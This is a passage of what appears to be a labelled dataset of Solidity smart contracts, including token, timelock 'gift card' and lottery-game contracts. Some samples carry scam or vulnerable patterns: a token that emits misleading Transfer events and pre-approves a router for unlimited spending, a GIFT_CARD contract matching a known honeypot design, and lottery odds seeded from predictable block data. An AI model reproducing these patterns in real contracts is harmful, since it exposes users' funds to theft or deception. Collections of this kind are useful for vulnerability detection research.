function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,827 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "KOILOP";
string public constant TOKEN_SYMBOL = "KLP";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xBd709e3a19FAEC6cC24bFfA1050A0ea85d709f05;
uint public constant START_TIME = 1538672340;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,404 |
pragma solidity ^0.4.15;
contract Token {
mapping (address => uint256) public balanceOf;
mapping (uint256 => address) public addresses;
mapping (address => bool) public addressExists;
mapping (address => uint256) public addressIndex;
mapping(address => mapping (address => uint256)) allowed;
uint256 public numberOfAddress = 0;
string public physicalString;
string public cryptoString;
bool public isSecured;
string public name;
string public symbol;
uint256 public totalSupply;
bool public canMintBurn;
uint256 public txnTax;
uint256 public holdingTax;
uint256 public holdingTaxInterval;
uint256 public lastHoldingTax;
uint256 public holdingTaxDecimals = 2;
bool public isPrivate;
address public owner;
function Token(string n, string a, uint256 totalSupplyToUse, bool isSecured, bool cMB, string physical, string crypto, uint256 txnTaxToUse, uint256 holdingTaxToUse, uint256 holdingTaxIntervalToUse, bool isPrivateToUse) {
name = n;
symbol = a;
totalSupply = totalSupplyToUse;
balanceOf[msg.sender] = totalSupplyToUse;
isSecured = isSecured;
physicalString = physical;
cryptoString = crypto;
canMintBurn = cMB;
owner = msg.sender;
txnTax = txnTaxToUse;
holdingTax = holdingTaxToUse;
holdingTaxInterval = holdingTaxIntervalToUse;
if(holdingTaxInterval!=0) {
lastHoldingTax = now;
while(getHour(lastHoldingTax)!=21) {
lastHoldingTax -= 1 hours;
}
while(getWeekday(lastHoldingTax)!=5) {
lastHoldingTax -= 1 days;
}
lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + getSecond(lastHoldingTax) * (1 seconds);
}
isPrivate = isPrivateToUse;
addAddress(owner);
}
function transfer(address _to, uint256 _value) payable returns (bool success) {
chargeHoldingTax();
if (balanceOf[msg.sender] < _value) return false;
if (balanceOf[_to] + _value < balanceOf[_to]) return false;
if (msg.sender != owner && _to != owner && txnTax != 0) {
if(!owner.send(txnTax)) {
return false;
}
}
if(isPrivate && msg.sender != owner && !addressExists[_to]) {
return false;
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
addAddress(_to);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) payable returns (bool success) {
if (_from != owner && _to != owner && txnTax != 0) {
if(!owner.send(txnTax)) {
return false;
}
}
if(isPrivate && _from != owner && !addressExists[_to]) {
return false;
}
if (balanceOf[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balanceOf[_to] + _amount > balanceOf[_to]) {
balanceOf[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balanceOf[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function changeTxnTax(uint256 _newValue) {
if(msg.sender != owner) throw;
txnTax = _newValue;
}
function mint(uint256 _value) {
if(canMintBurn && msg.sender == owner) {
if (balanceOf[msg.sender] + _value < balanceOf[msg.sender]) throw;
balanceOf[msg.sender] += _value;
totalSupply += _value;
Transfer(0, msg.sender, _value);
}
}
function burn(uint256 _value) {
if(canMintBurn && msg.sender == owner) {
if (balanceOf[msg.sender] < _value) throw;
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Transfer(msg.sender, 0, _value);
}
}
function chargeHoldingTax() {
if(holdingTaxInterval!=0) {
uint256 dateDif = now - lastHoldingTax;
bool changed = false;
while(dateDif >= holdingTaxInterval * (1 weeks)) {
changed=true;
dateDif -= holdingTaxInterval * (1 weeks);
for(uint256 i = 0;i<numberOfAddress;i++) {
if(addresses[i]!=owner) {
uint256 amtOfTaxToPay = ((balanceOf[addresses[i]]) * holdingTax) / (10**holdingTaxDecimals)/ (10**holdingTaxDecimals);
balanceOf[addresses[i]] -= amtOfTaxToPay;
balanceOf[owner] += amtOfTaxToPay;
}
}
}
if(changed) {
lastHoldingTax = now;
while(getHour(lastHoldingTax)!=21) {
lastHoldingTax -= 1 hours;
}
while(getWeekday(lastHoldingTax)!=5) {
lastHoldingTax -= 1 days;
}
lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + getSecond(lastHoldingTax) * (1 seconds);
}
}
}
function changeHoldingTax(uint256 _newValue) {
if(msg.sender != owner) throw;
holdingTax = _newValue;
}
function changeHoldingTaxInterval(uint256 _newValue) {
if(msg.sender != owner) throw;
holdingTaxInterval = _newValue;
}
function addAddress (address addr) private {
if(!addressExists[addr]) {
addressIndex[addr] = numberOfAddress;
addresses[numberOfAddress++] = addr;
addressExists[addr] = true;
}
}
function addAddressManual (address addr) {
if(msg.sender == owner && isPrivate) {
addAddress(addr);
} else {
throw;
}
}
function removeAddress (address addr) private {
if(addressExists[addr]) {
numberOfAddress--;
addresses[addressIndex[addr]] = 0x0;
addressExists[addr] = false;
}
}
function removeAddressManual (address addr) {
if(msg.sender == owner && isPrivate) {
removeAddress(addr);
} else {
throw;
}
}
function getWeekday(uint timestamp) returns (uint8) {
return uint8((timestamp / 86400 + 4) % 7);
}
function getHour(uint timestamp) returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) returns (uint8) {
return uint8(timestamp % 60);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 3,665 |
pragma solidity ^0.4.19;
contract GIFT_CARD
{
function Put(bytes32 _hash, uint _unlockTime)
public
payable
{
if(this.balance==0 || msg.value > 1000000000000000000)
{
unlockTime = now+_unlockTime;
hashPass = _hash;
}
}
function Take(bytes _pass)
external
payable
{
if(hashPass == keccak256(_pass) && now>unlockTime && msg.sender==tx.origin)
{
msg.sender.transfer(this.balance);
}
}
bytes32 public hashPass;
uint public unlockTime;
function GetHash(bytes pass) public constant returns (bytes32) {return keccak256(pass);}
function() public payable{}
} | 1 | 4,294 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y) {
y = z;
z = ((add((x / z),z)) / 2);
}
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Saturn is Ownable {
using SafeMath for uint256;
struct Player {
uint256 pid;
uint256 ethTotal;
uint256 ethBalance;
uint256 ethWithdraw;
uint256 ethShareWithdraw;
uint256 tokenBalance;
uint256 tokenDay;
uint256 tokenDayBalance;
}
struct LuckyRecord {
address player;
uint256 amount;
uint64 txId;
uint64 time;
uint64 level;
}
struct LuckyPending {
address player;
uint256 amount;
uint64 txId;
uint64 block;
uint64 level;
}
struct InternalBuyEvent {
uint256 flag1;
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Buy(
address indexed _token, address indexed _player, uint256 _amount, uint256 _total,
uint256 _totalSupply, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot,
uint256 _price, uint256 _flag1
);
event Withdraw(address indexed _token, address indexed _player, uint256 _amount);
event Win(address indexed _token, address indexed _winner, uint256 _winAmount);
string constant public name = "Saturn";
string constant public symbol = "SAT";
uint8 constant public decimals = 18;
uint256 constant private FEE_REGISTER_ACCOUNT = 10 finney;
uint256 constant private BUY_AMOUNT_MIN = 1000000000;
uint256 constant private BUY_AMOUNT_MAX = 100000000000000000000000;
uint256 constant private TIME_DURATION_INCREASE = 30 seconds;
uint256 constant private TIME_DURATION_MAX = 24 hours;
uint256 constant private ONE_TOKEN = 1000000000000000000;
mapping(address => Player) public playerOf;
mapping(uint256 => address) public playerIdOf;
uint256 public playerCount;
uint256 public totalSupply;
uint256 public totalPot;
uint256 public sharePot;
uint256 public finalPot;
uint256 public luckyPot;
uint64 public txCount;
uint256 public finishTime;
uint256 public startTime;
address public lastPlayer;
address public winner;
uint256 public winAmount;
uint256 public price;
address[3] public dealers;
uint256 public dealerDay;
LuckyPending[] public luckyPendings;
uint256 public luckyPendingIndex;
LuckyRecord[] public luckyRecords;
address public feeOwner;
uint256 public feeAmount;
uint64[16] public feePrices = [uint64(88000000000000),140664279921934,224845905067685,359406674201608,574496375292119,918308169866219,1467876789325690,2346338995279770,3750523695724810,5995053579423660,9582839714125510,15317764181758900,24484798507285300,39137915352965200,62560303190573500,99999999999999100];
uint8[16] public feePercents = [uint8(150),140,130,120,110,100,90,80,70,60,50,40,30,20,10,0];
uint256 public feeIndex;
constructor(uint256 _startTime, address _feeOwner) public {
require(_startTime >= now && _feeOwner != address(0));
startTime = _startTime;
finishTime = _startTime + TIME_DURATION_MAX;
totalSupply = 0;
price = 88000000000000;
feeOwner = _feeOwner;
owner = msg.sender;
}
modifier isActivated() {
require(now >= startTime);
_;
}
modifier isAccount() {
address _address = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_address)}
require(_codeLength == 0 && tx.origin == msg.sender);
_;
}
function balanceOf(address _owner) public view returns (uint256) {
return playerOf[_owner].tokenBalance;
}
function getLuckyPendingSize() public view returns (uint256) {
return luckyPendings.length;
}
function getLuckyRecordSize() public view returns (uint256) {
return luckyRecords.length;
}
function getGameInfo() public view returns (
uint256 _balance, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot, uint256 _rewardPot, uint256 _price,
uint256 _totalSupply, uint256 _now, uint256 _timeLeft, address _winner, uint256 _winAmount, uint8 _feePercent
) {
_balance = address(this).balance;
_totalPot = totalPot;
_sharePot = sharePot;
_finalPot = finalPot;
_luckyPot = luckyPot;
_rewardPot = _sharePot;
uint256 _withdraw = _sharePot.add(_finalPot).add(_luckyPot);
if (_totalPot > _withdraw) {
_rewardPot = _rewardPot.add(_totalPot.sub(_withdraw));
}
_price = price;
_totalSupply = totalSupply;
_now = now;
_feePercent = feeIndex >= feePercents.length ? 0 : feePercents[feeIndex];
if (now < finishTime) {
_timeLeft = finishTime - now;
} else {
_timeLeft = 0;
_winner = winner != address(0) ? winner : lastPlayer;
_winAmount = winner != address(0) ? winAmount : finalPot;
}
}
function getPlayerInfo(address _playerAddress) public view returns (
uint256 _pid, uint256 _ethTotal, uint256 _ethBalance, uint256 _ethWithdraw,
uint256 _tokenBalance, uint256 _tokenDayBalance
) {
Player storage _player = playerOf[_playerAddress];
if (_player.pid > 0) {
_pid = _player.pid;
_ethTotal = _player.ethTotal;
uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply);
_ethBalance = _player.ethBalance;
if (_sharePot > _player.ethShareWithdraw) {
_ethBalance = _ethBalance.add(_sharePot.sub(_player.ethShareWithdraw));
}
_ethWithdraw = _player.ethWithdraw;
_tokenBalance = _player.tokenBalance;
uint256 _day = (now / 86400) * 86400;
if (_player.tokenDay == _day) {
_tokenDayBalance = _player.tokenDayBalance;
}
}
}
function getDealerAndLuckyInfo(uint256 _luckyOffset) public view returns (
address[3] _dealerPlayers, uint256[3] _dealerDayTokens, uint256[3] _dealerTotalTokens,
address[5] _luckyPlayers, uint256[5] _luckyAmounts, uint256[5] _luckyLevels, uint256[5] _luckyTimes
) {
uint256 _day = (now / 86400) * 86400;
if (dealerDay == _day) {
for (uint256 _i = 0; _i < 3; ++_i) {
if (dealers[_i] != address(0)) {
Player storage _player = playerOf[dealers[_i]];
_dealerPlayers[_i] = dealers[_i];
_dealerDayTokens[_i] = _player.tokenDayBalance;
_dealerTotalTokens[_i] = _player.tokenBalance;
}
}
}
uint256 _size = _luckyOffset >= luckyRecords.length ? 0 : luckyRecords.length - _luckyOffset;
if (_luckyPlayers.length < _size) {
_size = _luckyPlayers.length;
}
for (_i = 0; _i < _size; ++_i) {
LuckyRecord memory _record = luckyRecords[luckyRecords.length - _luckyOffset - 1 - _i];
_luckyPlayers[_i] = _record.player;
_luckyAmounts[_i] = _record.amount;
_luckyLevels[_i] = _record.level;
_luckyTimes[_i] = _record.time;
}
}
function transfer(address _to, uint256 _value) isActivated isAccount public returns (bool) {
require(_to == address(this));
Player storage _player = playerOf[msg.sender];
require(_player.pid > 0);
if (now >= finishTime) {
if (winner == address(0)) {
endGame();
}
_value = 80000000000000000;
} else {
require(_value == 80000000000000000 || _value == 10000000000000000);
}
uint256 _sharePot = _player.tokenBalance.mul(sharePot).div(totalSupply);
uint256 _eth = 0;
if (_sharePot > _player.ethShareWithdraw) {
_eth = _sharePot.sub(_player.ethShareWithdraw);
_player.ethShareWithdraw = _sharePot;
}
_eth = _eth.add(_player.ethBalance);
_player.ethBalance = 0;
_player.ethWithdraw = _player.ethWithdraw.add(_eth);
if (_value == 80000000000000000) {
uint256 _fee = _eth.mul(feeIndex >= feePercents.length ? 0 : feePercents[feeIndex]).div(1000);
if (_fee > 0) {
feeAmount = feeAmount.add(_fee);
_eth = _eth.sub(_fee);
}
sendFeeIfAvailable();
msg.sender.transfer(_eth);
emit Withdraw(_to, msg.sender, _eth);
emit Transfer(msg.sender, _to, 0);
} else {
InternalBuyEvent memory _buyEvent = InternalBuyEvent({
flag1: 0
});
buy(_player, _buyEvent, _eth);
}
return true;
}
function() isActivated isAccount payable public {
uint256 _eth = msg.value;
require(now < finishTime);
InternalBuyEvent memory _buyEvent = InternalBuyEvent({
flag1: 0
});
Player storage _player = playerOf[msg.sender];
if (_player.pid == 0) {
require(_eth >= FEE_REGISTER_ACCOUNT);
uint256 _fee = FEE_REGISTER_ACCOUNT.sub(BUY_AMOUNT_MIN);
_eth = _eth.sub(_fee);
feeAmount = feeAmount.add(_fee);
playerCount = playerCount.add(1);
Player memory _p = Player({
pid: playerCount,
ethTotal: 0,
ethBalance: 0,
ethWithdraw: 0,
ethShareWithdraw: 0,
tokenBalance: 0,
tokenDay: 0,
tokenDayBalance: 0
});
playerOf[msg.sender] = _p;
playerIdOf[_p.pid] = msg.sender;
_player = playerOf[msg.sender];
_buyEvent.flag1 += 1;
}
buy(_player, _buyEvent, _eth);
}
function buy(Player storage _player, InternalBuyEvent memory _buyEvent, uint256 _amount) private {
require(now < finishTime && _amount >= BUY_AMOUNT_MIN && _amount <= BUY_AMOUNT_MAX);
uint256 _day = (now / 86400) * 86400;
uint256 _backEth = 0;
uint256 _eth = _amount;
if (totalPot < 200000000000000000000) {
if (_eth >= 5000000000000000000) {
_backEth = _eth.sub(5000000000000000000);
_eth = 5000000000000000000;
}
}
txCount = txCount + 1;
_buyEvent.flag1 += txCount * 10;
_player.ethTotal = _player.ethTotal.add(_eth);
totalPot = totalPot.add(_eth);
uint256 _newTotalSupply = calculateTotalSupply(totalPot);
uint256 _tokenAmount = _newTotalSupply.sub(totalSupply);
_player.tokenBalance = _player.tokenBalance.add(_tokenAmount);
if (_player.tokenDay == _day) {
_player.tokenDayBalance = _player.tokenDayBalance.add(_tokenAmount);
} else {
_player.tokenDay = _day;
_player.tokenDayBalance = _tokenAmount;
}
updatePrice(_newTotalSupply);
handlePot(_day, _eth, _newTotalSupply, _tokenAmount, _player, _buyEvent);
if (_backEth > 0) {
_player.ethBalance = _player.ethBalance.add(_backEth);
}
sendFeeIfAvailable();
emitEndTxEvents(_eth, _tokenAmount, _buyEvent);
}
function handlePot(uint256 _day, uint256 _eth, uint256 _newTotalSupply, uint256 _tokenAmount, Player storage _player, InternalBuyEvent memory _buyEvent) private {
uint256 _sharePotDelta = _eth.div(2);
uint256 _finalPotDelta = _eth.div(5);
uint256 _luckyPotDelta = _eth.mul(255).div(1000);
uint256 _dealerPotDelta = _eth.sub(_sharePotDelta).sub(_finalPotDelta).sub(_luckyPotDelta);
sharePot = sharePot.add(_sharePotDelta);
finalPot = finalPot.add(_finalPotDelta);
luckyPot = luckyPot.add(_luckyPotDelta);
totalSupply = _newTotalSupply;
handleDealerPot(_day, _dealerPotDelta, _player, _buyEvent);
handleLuckyPot(_eth, _player);
if (_tokenAmount >= ONE_TOKEN) {
updateFinishTime(_tokenAmount);
lastPlayer = msg.sender;
}
_buyEvent.flag1 += finishTime * 1000000000000000000000;
}
function handleLuckyPot(uint256 _eth, Player storage _player) private {
uint256 _seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
_seed = _seed - ((_seed / 1000) * 1000);
uint64 _level = 0;
if (_seed < 227) {
_level = 1;
} else if (_seed < 422) {
_level = 2;
} else if (_seed < 519) {
_level = 3;
} else if (_seed < 600) {
_level = 4;
} else if (_seed < 700) {
_level = 5;
} else {
_level = 6;
}
if (_level >= 5) {
handleLuckyReward(txCount, _level, _eth, _player);
} else {
LuckyPending memory _pending = LuckyPending({
player: msg.sender,
amount: _eth,
txId: txCount,
block: uint64(block.number + 1),
level: _level
});
luckyPendings.push(_pending);
}
handleLuckyPending(_level >= 5 ? 0 : 1);
}
function handleLuckyPending(uint256 _pendingSkipSize) private {
if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) {
LuckyPending storage _pending = luckyPendings[luckyPendingIndex];
if (_pending.block <= block.number) {
uint256 _seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
(block.number)
)));
_seed = _seed - ((_seed / 1000) * 1000);
handleLucyPendingForOne(_pending, _seed);
if (luckyPendingIndex < luckyPendings.length - _pendingSkipSize) {
_pending = luckyPendings[luckyPendingIndex];
if (_pending.block <= block.number) {
handleLucyPendingForOne(_pending, _seed);
}
}
}
}
}
function handleLucyPendingForOne(LuckyPending storage _pending, uint256 _seed) private {
luckyPendingIndex = luckyPendingIndex.add(1);
bool _reward = false;
if (_pending.level == 4) {
_reward = _seed < 617;
} else if (_pending.level == 3) {
_reward = _seed < 309;
} else if (_pending.level == 2) {
_reward = _seed < 102;
} else if (_pending.level == 1) {
_reward = _seed < 44;
}
if (_reward) {
handleLuckyReward(_pending.txId, _pending.level, _pending.amount, playerOf[_pending.player]);
}
}
function handleLuckyReward(uint64 _txId, uint64 _level, uint256 _eth, Player storage _player) private {
uint256 _amount;
if (_level == 1) {
_amount = _eth.mul(7);
} else if (_level == 2) {
_amount = _eth.mul(3);
} else if (_level == 3) {
_amount = _eth;
} else if (_level == 4) {
_amount = _eth.div(2);
} else if (_level == 5) {
_amount = _eth.div(5);
} else if (_level == 6) {
_amount = _eth.div(10);
}
uint256 _maxPot = luckyPot.div(2);
if (_amount > _maxPot) {
_amount = _maxPot;
}
luckyPot = luckyPot.sub(_amount);
_player.ethBalance = _player.ethBalance.add(_amount);
LuckyRecord memory _record = LuckyRecord({
player: msg.sender,
amount: _amount,
txId: _txId,
level: _level,
time: uint64(now)
});
luckyRecords.push(_record);
}
